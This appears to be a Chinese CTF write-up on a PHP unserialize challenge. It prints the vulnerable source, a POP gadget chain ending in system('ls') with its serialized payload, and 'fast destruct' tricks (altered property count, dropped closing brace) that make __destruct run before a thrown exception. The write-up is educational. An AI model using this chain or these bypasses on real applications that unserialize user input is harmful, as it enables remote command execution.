一道题引出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55

来源于 BUUCTF NewStarCTF 2023 公开赛道 WEEK4 more fast

链子很简单
Start.die->Crypto.tostring->Reverse.get->Pwn.invoke->Web.evil

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
//highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;

public function __construct(){
$this->obj = new Web();
}
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;

public function __construct(){
$this->func = new Pwn();
}
public function __get($var) {
($this->func)();
}
}

class Web{
public $func = "system";
public $var = "ls";
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __construct(){
$this->obj = new Reverse();
}
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = unserialize('O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:2:"ls";}}}}}');
throw new Exception("Nope");

但是当你运行的时候会发现反序列化直接无法进行执行,debug也是直接跳过然后进行Exception
看到题目的提示以及网上的师傅都在说Fast destruct,于是便去了解了一下下

Fast destruct

序列化

首先我想先复习一下正常的序列化的流程,看下面一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Example {
public function __construct($name) {
$this->name = $name;
echo "Object $this->name created. ";
}

public function __destruct() {
echo "Object $this->name destructed. ";
}
}

echo "===Start of script. ===\n";
$object1 = new Example("A");
echo "\n";
$object2 = new Example("B");
echo "\n";
echo "===Middle of script. ===\n";
echo "===End of script. ===\n";

根据运行结果可知:

  • 当new一个类就会触发__construct方法
  • 如果有__destruct方法,则会在全部代码运行完后在执行__destruct方法

那如果想__destruct提前执行应该怎么做?
答案是:unset()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Example {
public function __construct($name) {
$this->name = $name;
echo "Object $this->name created. \n";
}

public function __destruct() {
echo "Object $this->name destructed. \n";
}
}

echo "===Start of script. ===\n";
$object1 = new Example("A");
$object2 = new Example("B");
echo "===Middle of script. ===\n";
unset($object1); // 手动销毁对象 $object1 的引用
echo "===End of script. ===\n";

反序列化

知识点:
1、PHP中,如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Example {
public function __construct($name) {
$this->name = $name;
echo "Object $this->name created. \n";
}

public function __destruct() {
echo "Object $this->name destructed. \n";
}
}
echo "===Start of script. ===\n";
$object1 = new Example("A");
unserialize('O:7:"Example":1:{s:4:"name";s:1:"B";}');
echo "\n===End of script. ===\n";

这里的第一个箭头是unserialize产生的,后面那个是序列化后,全部代码最后完了后产生的。
2、PHP中,如果用一个变量接住反序列化函数的返回值,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,那么在PHP脚本走完流程之后,这个对象才会被销毁,在有析构函数的情况下就会将其执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Example {
public function __construct($name) {
$this->name = $name;
echo "Object $this->name created. \n";
}

public function __destruct() {
echo "Object $this->name destructed. \n";
}
}
echo "===Start of script. ===\n";
$object1 = new Example("A");
$a = unserialize('O:7:"Example":1:{s:4:"name";s:1:"B";}');
echo "\n===End of script. ===\n";

这次我把unserialze的值赋值给$a,发现是在整个代码跑完后才先对B在对A
因此,这两个知识点算是讲清楚了

回归题目

因为这里使用的是反序列化赋值给变量a
所以想通过反序列化进行rce就必须绕过下面的new Exception,要比他先执行才行

绕过姿势

原先payload:

1
O:7:"Example":1:{s:4:"name";s:1:"B";}
  1. 通过修改反序列化后的属性个数(与绕过wake_up的方法相似)
  1. 去掉生成的序列化字符串最后的一个大括号